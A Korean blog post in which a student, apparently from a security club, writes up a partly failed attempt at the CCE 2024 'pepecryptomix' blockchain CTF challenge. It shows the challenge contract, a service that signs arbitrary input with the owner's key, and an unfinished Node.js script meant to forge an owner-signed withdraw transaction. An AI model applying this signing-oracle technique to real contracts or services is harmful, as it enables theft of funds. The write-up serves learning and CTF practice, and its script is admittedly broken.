본문 바로가기

exploit

(cce2024)pepecryptomix exploit

pepecryptomix

 

2024 cce에 출제된 blockchain 문제이다.

아르고스(정보보호 동아리)에서 컨트랙트 해킹을 메인(현재 2일차 ㅎㅎ..)으로 활동중인 만큼 CTF들 다 찍먹하려고 계획중

(펠리컨적 사고 회로 보유자)

 

페페 믹싱 서비스에 대한 문제이다.

 

pepe chain으로 전환

 

사실 CTF 출전 경험이 거의 없어서 위처럼 블록체인 네트워크 환경을 어떤식으로 제공해 주는지를 몰라서 많이 애를 먹었다.

신기하게 각각의 세션마다 노드를 실행하면 별도의 블록체인 네트워크 RPC, 유저 계정(1 이더가 들어 있는 프라이빗 키), Bank Contract 배포 주소를 부여하는데 문제보다는 이런 환경을 어떻게 구축하는지가 더 궁금했다.

 

가장 처음 화면

 

 

function findValidNumber(ticket) {
    let found = false;
    let randomValue, hash;
    const target = "0000";
    
    while (!found) {
        randomValue = Math.floor(Math.random() * 1000000000);
        hash = CryptoJS.SHA256(ticket + randomValue).toString(CryptoJS.enc.Hex);
        if (hash.startsWith(target)) {
            console.log(`Valid number found: ${randomValue} with hash: ${hash}`);
            return randomValue;
        }
    }
}



Launch Node 버튼 선택 시 payload로 answer:776337697 이 담긴 post 요청을 위 URL로 보낸다.

payload의 경우 주어지는 ticket과 randomValue의 해싱을 통해 target인 0000으로 시작되는 주소를 브루트포스로 찾아 이 값을 전달한다.

 

페페 믹싱 서비스에 접속..!

해당 RPC로 네트워크를 변경하고 프라이빗 키를 등록한다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

contract Bank {
    address public owner;
    mapping(address => uint256) public balance ;
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }
    constructor() {
        owner = msg.sender;
    } 
    
    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    function done(uint256 amount) public onlyOwner {
        balance[msg.sender] -= amount;
    }
    
    receive() external payable {
        balance[msg.sender] += msg.value;
    }

}

 

 

 

폼을 작성하고 컨트렉트를 호출해 0.1 이더를 보낼 시

https://pepecryptomix.o-r.kr/mix?receiver=0x0065cbb0282d9caAFd48B52aA87Ee9016f8A0959&amount=0.1&fee=0.6&code=

 

mix에 폼 데이터 값과 함께 아래 메세지를 다운받을 수 있다.

We assure you that your funds will be safely transfer to the recipient.
To prove, I can even sign your arguments.
It will be processed within 12 hours. IF NOT, please DM to admin with the sign below.
scattered addresses -> 0x0065cbb0282d9caAFd48B52aA87Ee9016f8A0959 (0.1 ETH - 0.6%) (code: )

Account._sign_hash(keccak(receiver+amount+fee+b64decode(code)), owner_private_key)
-> 0x363f562d4ff199952a817046601fa9137fe0758aa3598c8f49652c07364f76995874365a79e6e7d93882ef2c088cd1d1a079451b9127901dd62045b0a8a04ca01b

 

 

code에는 원래는 레퍼럴 코드를 넣는 부분인데, 해당하는 부분에 Bank Contract를 실행하기 위한 인자들을 넣어 오너의 서명을 위조하고 컨트렉트를 실행시키면 될 것 같다는 생각이 들었다.

 

https://pepecryptomix.o-r.kr/mix?receiver=&amount=&fee=&code=qqqq
We assure you that your funds will be safely transfer to the recipient.
To prove, I can even sign your arguments.
It will be processed within 12 hours. IF NOT, please DM to admin with the sign below.
scattered addresses ->  ( ETH - %) (code: qqqq)

Account._sign_hash(keccak(receiver+amount+fee+b64decode(code)), owner_private_key)
-> 0xfc7bff523fdc97f2dd8cec89908b29e6129172dffc3c86865c8ef1d54854725337a606f2c281bc5cc9609f0baf91d5099bd01969a6d84dd6278bfdb0e6dc4ccc1b

 

예상대로 qqqq에 대한 owner_private_key의 sign값을 전달해준 부분.

사실 취약점 자체는 단순했는데, web3와 상호작용하기 위한 방법과 crypto 관련한 부분들을 구현하기가 너무 힘들었다.

BankContract, Owner, User 이렇게 3명이 각각 100Eth, 1Eth, 1Eth를 가지고 시작하는 문제이다.

receive() 함수의 경우는 외부에서 해당 컨트랙트로 입금시 실행되는 함수로, 나의 계정에서 BankContract로 이더리움을 send 해주게 되면 나의 계정의 vip? 점수가 기록된다. 이것을 100eth 만큼 올리는 것이 목표이다.

 

나머지 두 함수의 경우는 Owner만이 실행 가능하므로, Owner의 서명을 받아서 rawTransaction을 제출해 컨트랙트의 잔액을 Owner의 지갑으로 옮기고, Owner -> User로 옮기고 최종적으로 User가 100이더를 컨트랙트에 제출하면 exploit 가능할 것 같다.

 

이를 진행하기 위한 노력들..

하다가 때려친 코드.

const { Web3 } = require('web3');
const axios = require('axios');
const tough = require('tough-cookie');
const { wrapper } = require('axios-cookiejar-support');
const CryptoJS = require('crypto-js');
const rlp = require('rlp');
const { LegacyTransaction } = require('@ethereumjs/tx');
const { Common } = require('@ethereumjs/common');
const encBase64 = require('crypto-js/enc-base64');
const { toBuffer } = require('ethereumjs-util');

const jar = new tough.CookieJar();
const client = wrapper(axios.create({ jar }));

function findValidNumber(ticket) {
    let found = false;
    let randomValue, hash;
    const target = "0000";
    
    while (!found) {
        randomValue = Math.floor(Math.random() * 1000000000);
        hash = CryptoJS.SHA256(ticket + randomValue).toString(CryptoJS.enc.Hex);
        if (hash.startsWith(target)) {
            console.log(`Valid number found: ${randomValue} with hash: ${hash}`);
            return randomValue;
        }
    }
}

async function getRpcDetails() {
    const initialResponse = await client.get('http://pepecryptomix.o-r.kr');
    const initialText = initialResponse.data;
    const ticketMatch = initialText.match(/const ticket = "([0-9a-f]+)"/);

    if (!ticketMatch) {
        throw new Error('Failed to retrieve the ticket from the response.');
    }

    const ticket = ticketMatch[1];
    console.log('Extracted Ticket:', ticket);

    const validNumber = findValidNumber(ticket);
    console.log(`Using valid number: ${validNumber} for ticket: ${ticket}`);
    
    const launchResponse = await client.post('http://pepecryptomix.o-r.kr/launch', { answer: validNumber });
    const launchText = launchResponse.data;
    console.log('Launch Response:', launchText);

    if (launchText.includes('invalid ticket')) {
        throw new Error('The ticket is invalid.');
    }

    const rpcResponse = await client.get('http://pepecryptomix.o-r.kr');
    const rpcText = rpcResponse.data;

    const rpcUrlMatch = rpcText.match(/value="(https:\/\/[^\"]+)/);
    const privateKeyMatch = rpcText.match(/value="(0x[0-9a-fA-F]+)/);
    const bankAddressMatch = rpcText.match(/value="(0x[0-9a-fA-F]+)"/g);

    if (!rpcUrlMatch || !privateKeyMatch || !bankAddressMatch) {
        throw new Error('Failed to retrieve RPC details from the response.');
    }

    const rpcUrl = rpcUrlMatch[1];
    const privateKey = privateKeyMatch[1];
    const bankAddress = bankAddressMatch[1].match(/value="(0x[0-9a-fA-F]+)"/)[1];

    return { rpcUrl, privateKey, bankAddress };
}

async function fetchContractDetails(web3, account, bankContract, bankAddress) {
    try {
        const ownerBalance = await web3.eth.getBalance(await bankContract.methods.owner().call());
        console.log(`Owner balance: ${web3.utils.fromWei(ownerBalance, 'ether')} ETH`);
    } catch (err) {
        console.error('Error fetching owner:', err);
    }

    try {
        const balance = await web3.eth.getBalance(account.address);
        console.log(`Account balance: ${web3.utils.fromWei(balance, 'ether')} ETH`);
    } catch (err) {
        console.error('Error fetching balance:', err);
    }

    try {
        const contractBalance = await web3.eth.getBalance(bankAddress);
        console.log(`Contract balance: ${web3.utils.fromWei(contractBalance, 'ether')} ETH`);
    } catch (err) {
        console.error('Error fetching contract balance:', err);
    }
}

async function main() {
    try {
        const { rpcUrl, privateKey, bankAddress } = await getRpcDetails();
        console.log("rpcURL : ", rpcUrl, " privateKey : ", privateKey, "bankAddress : ", bankAddress);

        const web3 = new Web3(new Web3.providers.HttpProvider(rpcUrl));
        const account = web3.eth.accounts.privateKeyToAccount(privateKey);
        web3.eth.accounts.wallet.add(account);
        web3.eth.defaultAccount = account.address;

        console.log(`Connected to RPC: ${rpcUrl}`);
        console.log(`Using account: ${account.address}`);

        const bankAbi = [
            {
                "inputs": [],
                "stateMutability": "nonpayable",
                "type": "constructor"
            },
            {
                "inputs": [
                    {
                        "internalType": "address",
                        "name": "",
                        "type": "address"
                    }
                ],
                "name": "balance",
                "outputs": [
                    {
                        "internalType": "uint256",
                        "name": "",
                        "type": "uint256"
                    }
                ],
                "stateMutability": "view",
                "type": "function"
            },
            {
                "inputs": [
                    {
                        "internalType": "uint256",
                        "name": "amount",
                        "type": "uint256"
                    }
                ],
                "name": "done",
                "outputs": [],
                "stateMutability": "nonpayable",
                "type": "function"
            },
            {
                "inputs": [],
                "name": "owner",
                "outputs": [
                    {
                        "internalType": "address",
                        "name": "",
                        "type": "address"
                    }
                ],
                "stateMutability": "view",
                "type": "function"
            },
            {
                "inputs": [],
                "name": "withdraw",
                "outputs": [],
                "stateMutability": "nonpayable",
                "type": "function"
            },
            {
                "stateMutability": "payable",
                "type": "receive"
            }
        ];

        const bankContract = new web3.eth.Contract(bankAbi, bankAddress);
        await fetchContractDetails(web3, account, bankContract, bankAddress);

        { // user
            const amountToSend = web3.utils.toWei("0.1", 'ether');
            const txData = {
            from: account.address,
            to: bankAddress,
            value: amountToSend,
            gas: 100000,
            gasPrice: await web3.eth.getGasPrice(),
            nonce: await web3.eth.getTransactionCount(account.address),
            };
    
            const signedTx = await web3.eth.accounts.signTransaction(txData, privateKey);
            const receipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);
            // console.log(`Receive (send Ether) transaction receipt: `, receipt);
        }
        

        await fetchContractDetails(web3, account, bankContract, bankAddress);
        const owner = await bankContract.methods.owner().call();

        {
            const tx = bankContract.methods.withdraw();
            const gas = 100000;
            const gasPrice = await web3.eth.getGasPrice();
            const data = tx.encodeABI();
            const nonce = await web3.eth.getTransactionCount(owner);


            const rlpEncoded = rlp.encode([owner, bankAddress, data, gas, gasPrice, nonce]);
            console.log(rlpEncoded);
            const base64Encoded = Buffer.from(rlpEncoded).toString('base64');
            console.log(`base64Encoded: `, base64Encoded);

            const response = await client.get('http://pepecryptomix.o-r.kr/download', {
                params: {
                    amount: '',
                    receiver: '',
                    fee: '',
                    code: base64Encoded
                }
            });

            // console.log('Response from download: ', response.data);
            const regex = /-> 0x([0-9a-f]{130})/;
            const match = response.data.match(regex);
            const signature = `0x${match[1]}`;
            console.log('signature: ', signature);

            //raw Transaction 만들기 실패..

            // 서명된 트랜잭션 전송
            const receipt = await web3.eth.sendSignedTransaction(rawTransaction);
            console.log(`Receive (send Ether) transaction receipt: `, receipt);
        }


    } catch (error) {
        console.error('Error in main function:', error);
    }
}
// main 함수 실행
main();

 

sign을 받아오기 위해 web3 라이브러리에서 raw Transaction을  만들기 위한 포맷을 맞추다가 포기하고 말았다. (먼가 될 듯 말듯 계속 안 됨)
블록체인 공부를 한지 오래됐지만, web3.js나 서명 관련해서는 그다지 만져본 적이 없다….이걸 ctf 시간 안에 풀어내는 사람들은 뭐 하는 사람일까

다른 사람의 Exploit을 보니 나의 서명 위조와 동일한 flow로 해결함을 알 수 있었지만, 이를 위한 인터페이스를 맞추는 작업은 너무 힘들다.

덕분에 rlp 직렬화와 rawTx 등을 공부하는 시간을 가졌으나, 시간이 너무 오래 걸릴 것 같아서 접었다. (다른 과제가 산더미처럼 쌓여 있다..)나중에 시간이 나면 직렬화 관련해서, 그리고 서명 알고리즘에 관하여 공부하다가 풀어볼 요량이다. 그전에 닫힐 것 같지만….